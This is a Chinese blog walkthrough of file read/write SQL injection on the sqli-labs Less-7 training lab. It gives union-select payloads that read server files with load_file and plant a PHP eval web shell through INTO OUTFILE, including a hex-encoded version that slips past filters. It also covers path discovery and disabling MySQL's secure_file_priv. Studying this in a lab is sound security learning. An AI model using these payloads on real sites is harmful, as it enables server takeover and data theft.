1. MySQL高权限读写简介

1.1 前置知识

数据库的高权用户对服务器上的文件进行读取写入操作,从而可以进行写入一句话木马来获得服务器权限或者读取服务器上的配置型文件等注入行为。

select load_file ('d:/w.txt'); # 读取w.txt
select 'xxx' into outfile 'd:/1.txt'; # 将xxx写入1.txt,1.txt不存在则自动创建文件

1.2 读写注入示例

字段数判断和注入点判断略,作信息收集看用户名是root后可以尝试高权注入

/?id=1 union select 1,load_file ('d:/w.txt'),3
/?id=1 union select 1,'xxx',3 into outfile 'd:/1.txt'

注意写路径的时候\的时候要写两个,前一个为转义字符,作用是避免被认为是换行而报错,或者直接写/即可。

1.3 写入后门代码

给出写入后门代码示例

/?id=1 union select 1,'<?php eval($_POST[x]);?>',3 into outfile '当前网站路径/1.php'

如果存在过滤,可以把<?php eval($_POST[x])?>用hex编码一下,不用单引号,即:

/?id=1 union select 1,3c3f706870206576616c28245f504f53545b2778275d293f3e,3 into outfile '当前网站路径/1.php'

1.4 路径获取

load_fileoutfile函数都需要绝对路径,获取网站绝对路径的方法有以下几种:

  1. load_file常用路径直接读取配置文件,得到网站路径
  2. 扫描网站目录,尝试寻找遗留/phpinfo.php的文件
  3. 输入错误信息,看是否会报错返回路径
  4. 爆破路径

2. 黑盒测试

2.1 判断闭合类型

判断闭合类型为((''))

/?id=1' and '1'='1  You are in
/?id=1' --+ 报错 /?id=1') and ('1')=('1 You are in
/?id=1') --+ 报错 /?id=1')) and (('1'))=(('1 You are in
/?id=1')) --+ You are in

2.2 写入后门代码

写入后门代码

注意

  • 如果你的靶场搭在物理机上,后门代码会被windows扫描并删除,并不是上传失败
  • 如果上传失败,可能是secure_file_priv配置问题,请参考第三模块
/?id=1')) union select 1,'<?php eval($_POST[x]);?>',3 into outfile 'E:\\phpstudy\\WWW\\sqli\\Less-7\\1.php'--+

之后利用蚁剑连接后门即可

3. secure_file_priv限制

3.1 secure_file_priv简介

高版本的MYSQL添加了一个新的特性secure_file_privsecure_file_priv 是 MySQL 中用于限制文件操作的系统变量,主要用于控制和限制数据库服务器对文件的访问权限。具体来说,它限制 LOAD DATA INFILESELECT INTO OUTFILE 等语句的操作范围,确保数据库文件操作只能在特定的目录中进行,进而增强系统的安全性。

linux
/etc/my.cnf
[mysqld]
secure_file_priv= win
my.ini
[mysqld]
secure_file_priv=
1. secure_file_priv=""                          代表对文件读写没有限制
2. secure_file_priv="NULL" 代表不能进行文件读写
3. secure_file_priv="d :/phpstudy /mysql/data" 代表只能对该路径下文件进行读写

3.2 修改secure_file_priv配置

在做Less-7时,出现读写注入失败的问题,可能就是由于secure_file_priv禁止了读写

想要知道你的secure_file_priv设置,执行以下sql语句:

SHOW VARIABLES LIKE 'secure_file_priv';

若需要修改secure_file_priv,可以在phpstudy_pro\Extensions\MySQL5.7.26\my.ini[mysqld]模块将它修改为无限制,如果没有secure_file_priv项,可以自行写入。完成后重启mysql服务,应该可以正常解题了。

宇宙安全声明

本博客所提供的内容仅供学习与交流,旨在提高网络安全技术水平,谨遵守国家相关法律法规,请勿用于违法用途,博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。如果您对文章内容有疑问,可以留言私信。

基于sqli-labs Less-7 的sql高权读写注入详解的更多相关文章

  1. SQL Server 执行计划操作符详解(2)——串联(Concatenation )

    本文接上文:SQL Server 执行计划操作符详解(1)--断言(Assert) 前言: 根据计划,本文开始讲述另外一个操作符串联(Concatenation),读者可以根据这个词(中英文均可)先幻 ...

  2. 基于OpenCL的深度学习工具:AMD MLP及其使用详解

    基于OpenCL的深度学习工具:AMD MLP及其使用详解 http://www.csdn.net/article/2015-08-05/2825390 发表于2015-08-05 16:33| 59 ...

  3. BM算法  Boyer-Moore高质量实现代码详解与算法详解

    Boyer-Moore高质量实现代码详解与算法详解 鉴于我见到对算法本身分析非常透彻的文章以及实现的非常精巧的文章,所以就转载了,本文的贡献在于将两者结合起来,方便大家了解代码实现! 算法详解转自:h ...

  4. SQL中CONVERT()函数用法详解

    SQL中CONVERT函数格式: CONVERT(data_type,expression[,style]) 参数说明: expression 是任何有效的 Microsoft® SQL Server ...

  5. SQL Server 执行计划操作符详解(3)——计算标量(Compute Scalar)

    接上文:SQL Server 执行计划操作符详解(2)--串联(Concatenation ) 前言: 前面两篇文章介绍了关于串联(Concatenation)和断言(Assert)操作符,本文介绍第 ...

  6. 常用经典SQL语句大全完整版--详解+实例 (存)

    常用经典SQL语句大全完整版--详解+实例 转 傻豆儿的博客 http://blog.sina.com.cn/shadou2012  http://blog.sina.com.cn/s/blog_84 ...

  7. Linq实战 之 Linq to Sql及Entity Framework操作详解

    Linq实战 之 Linq to Sql及Entity Framework操作详解 一:linq to db的框架 1. linq to sql 2. linq to ado.net entity f ...

  8. 常用经典SQL语句大全完整版--详解+实例 《来自网络,很全没整理,寄存与此》

    常用经典SQL语句大全完整版--详解+实例 下列语句部分是Mssql语句,不可以在access中使用. SQL分类: DDL—数据定义语言(CREATE,ALTER,DROP,DECLARE) DML ...

  9. 基于XMPP的即时通信系统的建立(二)— XMPP详解

    XMPP详解 XMPP(eXtensible Messaging and Presence Protocol,可扩展消息处理和现场协议)是一种在两个地点间传递小型结构化数据的协议.在此基础上,XMPP ...

  10. 安全测试基础-SQL注入详解

    1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...

随机推荐

  1. Win32 状态栏用法

    WIN32 状态控件用法 1.创建控件 状态栏类名: STATUSCLASSNAME #define STATUSCLASSNAMEW        L"msctls_statusbar32 ...

  2. Tree组件的快速定位更新节点的状态,以及修改节点的数据属性等操作

    当我们点击树节点的时候我们常常只能获得树的id,那么我么如何获快速定位到树节点的内容呢,除此之外,当树已经存在时,但是缺少我们想要的内容时,我们想在树节点上添加我们需要的额外的内容时该怎么办,那么就是 ...

  3. ubuntu 16.04 安装Python3.8虚拟环境

    virtualenv为应用提供了隔离的Python运行环境,可以解决不同应用间多版本的冲突问题. virtualenv会把用户指定版本的python复制到虚拟环境下,并修改相关的环境变量,使得pyth ...

  4. DOM – Event Listener (bubble, capture, passive, custom event)

    前言 老掉牙的东西, 主要是想写 passive, 随便也写一点 bubble, capture 和 custom event 吧. Bubble Dom 监听事件是会冒泡的. 什么意思 ? 上图有 ...

  5. ASP.NET Core – Work with X509

    前言 这篇主要是说如何用 ASP.NET Core 读写系统里的证书 Store 和创建一个证书, 还有使用证书做加密, 解密, 签名. 主要参考: C#数字证书编程总结 (读写证书 Store) E ...

  6. SQL Server – 冷知识 (新手)

    前言 没有系统化学一本语言或技术, 那便会被一些冷知识坑. 这里做些记入. 变量作用域 SQL 是远古语法, 声明变量在最顶部就是一条上古法则. 如果我看见有了用这个法则写 C# 或 JS 我就会杀了 ...

  7. thinkphp中的or,like,in等联合查询

    数据库中的两个字段有一个字段等于查询条件时,下面两个方法都是可以的: (1) $where['a.goods_name|a.goods_sn'] = array('like',"%$keyW ...

  8. 【ARMv8】异常级别的定义EL0、EL1、EL2、EL3

    Exception levels ARMv8-A系列定义了一系列的异常等级,从EL0到EL3,下面具体说明其含义: ELn中,随着n的增加,软件的执行权限也相应的增加: EL0被称为无特权执行: EL ...

  9. 墨天轮沙龙 | 亚马逊云科技李君:见微知著 - Serverless云原生数据库概览

    导读 以业务为导向的数据库需要满足现代化应用的需要,以 Serverless 数据库为代表,云数据库正在迅速发展成熟,并带来更好的可访问性和高可用性,还有高扩展性与可迁移性. [墨天轮数据库沙龙-Se ...

  10. 如何对 Vue 首屏加载实现优化 ?

    首屏加载优化是对于 SPA 来说的 ,首次加载所有的 html css js 所需的文件 ,后面就不会因为用户对页面的操作而跳转页面 ,没有跳转页面如何展示不同的内容呢 ? 使用 Vue 的路由机制 ...